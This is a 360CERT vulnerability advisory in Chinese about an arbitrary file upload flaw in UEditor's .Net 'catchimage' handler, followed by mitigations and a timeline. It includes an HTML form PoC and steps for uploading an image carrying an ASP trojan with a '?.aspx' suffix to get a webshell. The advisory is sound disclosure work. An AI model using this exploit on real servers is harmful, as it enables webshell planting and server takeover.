UEditor .Net版本任意文件上传漏洞
2018-08-22 20:35

enter image description here

报告编号: B6-2018-082202

报告来源: 360CERT

报告作者: 360CERT

更新日期: 2018-08-22

0x00 漏洞背景

UEditor 是由百度「FEX前端研发团队」开发的所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点,开源基于MIT协议,允许自由使用和修改代码。

0x01 漏洞影响

该漏洞影响UEditor的.Net版本,其它语言版本暂时未受影响。

0x02 漏洞详情

UEditor在抓取远程数据源的时,会进入"catchimage"分支:

alt

在该方法使用的CrawlerHandler类中,并未对文件类型进行验证,从而导致了任意文件上传漏洞。

下图为1.5.0版本

alt

漏洞检测Poc如下:

<form action="http://xxxxxxxxx/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<inputtype="submit" value="Submit" />
</form>

alt

攻击者可以先上传一张包含asp木马的正常图片,之后在shell addr中填入该图片的地址并在末尾加入?.aspx,如xxx.jpg?.aspx,提交后即可getshell。

alt

0x03 防御措施

  1. 修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码。
  2. 使用各类WAF软件,防止攻击者上传恶意文件。
  3. 检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。

0x04 时间线

2018-08-22 漏洞详情公开披露

2018-08-22 360CERT发布漏洞预警

0x05 参考链接

  1. UEditor .net版本 getshell